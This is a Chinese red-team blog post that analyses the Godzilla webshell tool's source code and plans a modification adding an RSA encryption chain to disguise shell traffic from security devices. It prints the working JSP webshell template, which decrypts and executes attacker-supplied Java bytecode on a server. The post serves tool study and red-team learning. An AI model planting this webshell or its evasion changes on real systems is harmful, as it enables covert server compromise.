哥斯拉Godzilla | 加密器与shell模板二开(上)
2023-12-29 10:18:10 Author: 天擎攻防实验室(查看原文) 阅读量:160 收藏

博大作战中的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!

1
前言

该系列为,基于红队日常所使用到的工具进行简单的二开思路和实现代码。主要以提供思路、学习为主,二开的具体实现代码以及代码逻辑仅供参考。

2
二开的想法来源

之前看了21年BeichenDream的沙龙 opsec对抗:https://www.bilibili.com/video/BV1oS4y1X7JD/?vd_source=3dcd00659ae9457040e493d388db6c1f

视频里Godzilla作者BeichenDream讲解了Godzilla的设计架构,以及在Godzilla工具中实现c2profile信道、shell生成、链式加解密处理)来将shell流量伪造正常流量来对抗安全设备。

本文的学习目的:基于公开的Godzilla工具来添加视频中的c2profile的缩小版本,简单来说:在Godzilla中添加一个c2profile缩小版的加密器(仅包括:加密器对应的shell连接时,请求和响应的链式加解密实现、加密器对应的shell文件生成的实现)。

3
Godzilla4.0.1版本的shell生成和连接流程

godzilla工具的java_aes加密器代码如下图:

3.1
JAVA_AES_BASE64 shell连接的流程

#初始化shell的代码在core.shell.ShellEntity,即上图所示的shell连接和初始化流程 public boolean initShellOpertion() { //state用来判断shell状态,即:shell是否正常连接/可用        boolean state = false;
try { //创建http信道 this.http = ApplicationContext.getHttp(this); //判断用户是否进入shell的缓存界面 if (this.isUseCache()) { this.payloadModel = CachePayload.openUseCachePayload(this, ApplicationContext.getPayload(this.payload).getClass()); if (this.payloadModel != null) { this.payloadModel.init(this); return true; } else { return false; }            } else {            //判断用户是否开启了缓存选项 if (ApplicationContext.isOpenCache()) { this.payloadModel = CachePayload.openCachePayload(this, ApplicationContext.getPayload(this.payload).getClass()); } else { this.payloadModel = ApplicationContext.getPayload(this.payload); } //根据选定的加密器,初始化当前类的cryptionModel全局变量 this.cryptionModel = ApplicationContext.getCryption(this.payload, this.cryption); //调用指定加密器的init方法,初始化加密器的一些变量,并且将godzilla的payload装载到目标机器内存中 this.cryptionModel.init(this); //检查godzilla的payload是否成功装载到目标机器内存中 if (this.cryptionModel.check()) { //对 操作godzilla的payload装载到目标机器内存中 的类,进行类初始化,最后测试shell是否连接成功 this.payloadModel.init(this); if (this.payloadModel.test()) { state = true; } else { Log.error("payload Initialize Fail !"); } } else { Log.error("cryption Initialize Fail !"); }
return state; } } catch (Throwable var5) { Log.error(var5); ByteArrayOutputStream stream = new ByteArrayOutputStream(); PrintStream printStream = new PrintStream(stream); var5.printStackTrace(printStream); printStream.flush(); printStream.close(); Log.log(new String(stream.toByteArray()), new Object[0]); return state; } }

3.2
JAVA_AES_BASE64 shell的生成

// java_aes加密器的shell生成的大致调用栈GenerateShellLoder:15, Generate (shells.cryptions.JavaAes)GenerateShellLoder:112, Generate (shells.cryptions.JavaAes)generate:101, JavaAesBase64 (shells.cryptions.JavaAes)generateButtonClick:112, GenerateShellLoder (core.ui.component.dialog)...run:82, EventDispatchThread (java.awt)
// 生成JAVA_AES_BASE64加密器的shell的逻辑shells.cryptions.JavaAes.Generate.GenerateShellLoder方法代码如下:public static byte[] GenerateShellLoder(String shellName, String pass, String secretKey, boolean isBin) { byte[] data = null;
try { //获取全局代码块的模板文件(主要存放shell需要的一些全局变量和函数) InputStream inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "GlobalCode.bin"); String globalCode = new String(functions.readInputStream(inputStream)); inputStream.close(); //使用用户填入的pass和key来初始化全局代码块模板文件 globalCode = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey); //获取通讯代码块的模板文件(主要存放shell在进行通讯时需要处理的加解密及数据返回的代码逻辑) inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "Code.bin"); String code = new String(functions.readInputStream(inputStream)); inputStream.close(); Object selectedValue = GOptionPane.showInputDialog((Component)null, "suffix", "selected suffix", 1, (Icon)null, SUFFIX, (Object)null); //根据用户选择jsp还是jspx,来判断是否需要对shell文件内容进行格式化,防止shell因格式问题解析异常 if (selectedValue != null) { String suffix = (String)selectedValue; inputStream = Generate.class.getResourceAsStream("template/shell." + suffix); String template = new String(functions.readInputStream(inputStream)); inputStream.close(); if (suffix.equals(SUFFIX[1])) { globalCode = globalCode.replace("<", "&lt;").replace(">", "&gt;"); code = code.replace("<", "&lt;").replace(">", "&gt;"); }                //如果Godzilla工具开启了上帝模式,则对全局代码块和通讯代码块进行unicode编码 if (ApplicationContext.isGodMode()) { template = template.replace("{globalCode}", functions.stringToUnicode(globalCode)).replace("{code}", functions.stringToUnicode(code)); } else { template = template.replace("{globalCode}", globalCode).replace("{code}", code); }
data = template.getBytes(); } } catch (Exception var11) { Log.error(var11); }
return data;

3.3
JAVA_AES_BASE64加密器的全局代码块模板以及通讯代码块模板
// 全局代码块模板// 位于godzilla.jar!\shells\cryptions\JavaAes\template\base64GlobalCode.binString xc = "{secretKey}";String pass = "{pass}";String md5 = md5(pass + xc);
class X extends ClassLoader { public X(ClassLoader z) { super(z); }
public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); }}
public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; }}
public static String md5(String s) { .........}
public static String base64Encode(byte[] bs) throws Exception { ..........}
public static byte[] base64Decode(String bs) throws Exception { .......}
// 通讯代码块模板// 位于godzilla.jar!\shells\cryptions\JavaAes\template\base64Code.bintry {    byte[] data = base64Decode(request.getParameter(pass));    data = x(data, false);    if (session.getAttribute("payload") == null) {        session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));    } else {        request.setAttribute("parameters", data);        java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();        Object f = ((Class) session.getAttribute("payload")).newInstance();        f.equals(arrOut);        f.equals(pageContext);        response.getWriter().write(md5.substring(0, 16));        f.toString();        response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));        response.getWriter().write(md5.substring(16));    }} catch (Exception e) {}

4
Godzilla工具是如何寻找所有加密器,并显示到前端的

在Godzilla中,扫描新增的加密器和获取所有加密器,有以下两个位于core.ApplicationContext类的比较重要的方法

// 1 core.ApplicationContext.scanCryption方法 代码如下private static void scanCryption() {      try {      // 扫描/shells/cryptions/路径下的所有加密器类         URL url = ApplicationContext.class.getResource("/shells/cryptions/");         ArrayList destList = new ArrayList();         int loadNum = scanClass(url, "shells.cryptions", Cryption.class, CryptionAnnotation.class, destList);         int pluginMaxNum = 0;         // 加密器名与加密器类关联,如:JAVA_AES_BASE64加密器名与JavaAesBase64类关联         destList.forEach((t) -> {            try {               Annotation annotation = t.getAnnotation(CryptionAnnotation.class);               String name = (String)annotation.annotationType().getMethod("Name").invoke(annotation, (Object[])null);               String payloadName = (String)annotation.annotationType().getMethod("payloadName").invoke(annotation, (Object[])null);               LinkedHashMap destMap = (LinkedHashMap)cryptionMap.get(payloadName);               if (destMap == null) {                  cryptionMap.put(payloadName, new LinkedHashMap());                  destMap = (LinkedHashMap)cryptionMap.get(payloadName);               }
destMap.put(name, t); } catch (Exception var5) { var5.printStackTrace(); Log.error(var5); }
}); Iterator iterator = cryptionMap.keySet().iterator();
while(iterator.hasNext()) { String keyString = (String)iterator.next(); HashMap map = (HashMap)cryptionMap.get(keyString); if (map != null) { pluginMaxNum += map.size(); } }
Log.log(String.format("load cryption success! cryptionMaxNum:%s onceLoadCryptionNum:%s", pluginMaxNum, loadNum)); } catch (Exception var7) { Log.error(var7); }
   }
  // 2 core.ApplicationContext.getAllCryption方法 代码如下    public static String[] getAllCryption(String payloadName) {    //根据payloadName,获取payloadName对应的所有加密器    //比如payloadName为JavaDynamicPayload,则获取JavaDynamicPayload对应的所有加密器       HashMap cryptionSrcMap = (HashMap)cryptionMap.get(payloadName);      ArrayList list = new ArrayList();      if (cryptionSrcMap != null) {         Iterator keys = cryptionSrcMap.keySet().iterator();
while(keys.hasNext()) { String cryptionName = (String)keys.next(); Class cryptionClass = (Class)cryptionSrcMap.get(cryptionName); if (cryptionClass != null) { CryptionAnnotation cryptionAnnotation = (CryptionAnnotation)cryptionClass.getAnnotation(CryptionAnnotation.class); if (cryptionAnnotation.payloadName().equals(payloadName)) { list.add(cryptionName); } } } }
return (String[])list.toArray(new String[0]);   }

5
简单的二开学习目标
  • 添加一个JAVA_RSA加密器并且能生成JAVA_RSA加密器的shell

即实现链式加解密如下:aes256->rsa->base64 请求的加密链base64->rsa->aes256 请求的解密链tohex->rsa 响应的加密链rsa->fromhex 响应的解密链
  • 对JAVA_RSA加密器的全局代码块模板以及通讯代码块模板代码进行修改

6
小结

本篇文章主要对JAVA_AES_BASE64 shell连接的流程、JAVA_AES_BASE64 shell的生成、JAVA_AES_BASE64加密器的全局代码块模板以及通讯代码块模板、Godzilla工具是如何寻找所有加密器,并显示到前端的代码逻辑进行了分析和阅读,并设立了一个简单的二开目标。

后续内容因内容还没整理完毕,放到下篇公众号文章吧 ~ 第二天再写了

安全路远,交流技术可添加:


文章来源: http://mp.weixin.qq.com/s?__biz=MzU2MzQyMjA1NA==&mid=2247484311&idx=2&sn=178a66f6c9e07ba4af296dd5db8b55bc&chksm=fd67262e0693d1a771c876d2baedc9b44afb809955abe467a6e6ec3489c8cf472c2aabf3550c&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh